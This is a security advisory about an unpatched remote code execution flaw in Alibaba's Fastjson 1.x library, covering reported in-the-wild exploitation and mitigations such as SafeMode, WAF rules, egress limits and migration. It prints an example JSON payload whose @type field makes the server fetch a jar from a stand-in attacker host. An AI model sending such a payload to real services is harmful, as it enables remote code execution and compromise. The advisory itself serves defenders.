Fastjson 1.x RCE Vulnerability Targeted in Attacks With No Patch Available

Security firms ThreatBook and Imperva have confirmed that attackers are actively exploiting a critical unpatched remote code execution vulnerability in Alibaba's widely used Fastjson 1.x Java library. Tracked as CVE-2026-16723 (also known as QVD-2026-43021), the flaw allows a malicious JSON request to execute arbitrary code without authentication, using only the privileges of the Java process.

What Is Fastjson?

Fastjson is Alibaba's high-performance JSON serialization/deserialization library for Java, used extensively in Chinese tech companies and globally across Spring Boot applications. Versions 1.2.68 through 1.2.83 are confirmed affected when deployed in Spring Boot fat-JAR configurations.

How the Attack Works

The vulnerability exploits Fastjson's class resolution mechanism. When processing a specially crafted JSON payload containing an @type field with a nested jar:// URL pointing to a remote server, Fastjson fetches and executes attacker-controlled bytecode:

{
  "@type": "jar:http://attacker-server.com/payload.jar!/MaliciousClass"
}

Critically, this attack does not require AutoType to be enabled — the mitigation that Alibaba has repeatedly pointed to as a defense against previous Fastjson vulnerabilities. It also requires no gadget classes and bypasses the deserialization blacklists. All major JDK versions (8, 11, 17, and 21) are affected.

Active Exploitation

The vulnerability was discovered by security researcher Kirill Firsov of FearsOff Cybersecurity and disclosed to Alibaba on July 21, 2026. Active exploitation was detected within 24 hours:

• ThreatBook confirmed in-the-wild attacks beginning July 22, 2026
• Imperva corroborated exploitation and deployed WAF protections for its customers on July 25
• Qi'anxin estimates millions of Fastjson instances remain publicly exposed

Target sectors observed include finance, healthcare, and retail.

No Patch Available

As of July 26, 2026, Alibaba has not released a patch for the Fastjson 1.x branch. The development team appears to have deprioritized the 1.x line in favour of the completely rewritten Fastjson 2.x, which is not affected by this vulnerability due to its allowlist-first architecture.

Immediate Mitigations

With no patch available, organizations should take the following steps immediately:

1. Enable SafeMode (Short-Term)

Start the JVM with the SafeMode flag to block the nested URL class loading pattern:

-Dfastjson.parser.safeMode=true

This flag restricts the class resolution behaviour exploited by CVE-2026-16723.

2. Deploy WAF Rules

Block JSON payloads containing @type fields combined with jar:// or http:// URL patterns at the WAF or API gateway layer. Imperva customers are already protected.

3. Restrict Outbound Connections

Configure network egress rules to prevent Java processes from making outbound HTTP/HTTPS connections where not required, limiting the attacker's ability to fetch remote bytecode.

4. Migrate to Fastjson 2.x (Long-Term)

The definitive fix is migrating to Fastjson 2.x, which rewrites the serialization engine with a strict allowlist model that prevents this class of vulnerability entirely. Fastjson 2.x maintains API compatibility for most common use cases.

5. Inventory Your Exposure

Audit your applications for Fastjson 1.x dependencies — both direct and transitive. Use your SCA tooling or search your dependency trees:

# Maven
mvn dependency:tree | grep fastjson
 
# Gradle
gradle dependencies | grep fastjson

Why This Is Serious

Previous Fastjson vulnerabilities (the 2020–2022 deserialization chain series) were mitigated by disabling AutoType. Organizations that thought they were protected by that setting are exposed to CVE-2026-16723. Combined with the absence of a patch and confirmed active exploitation, this warrants urgent action for any team running Spring Boot applications with Fastjson 1.x.

Key Details

Organizations running Fastjson 1.x should treat this as a critical incident and begin mitigation immediately, regardless of whether they believe AutoType protections are in place.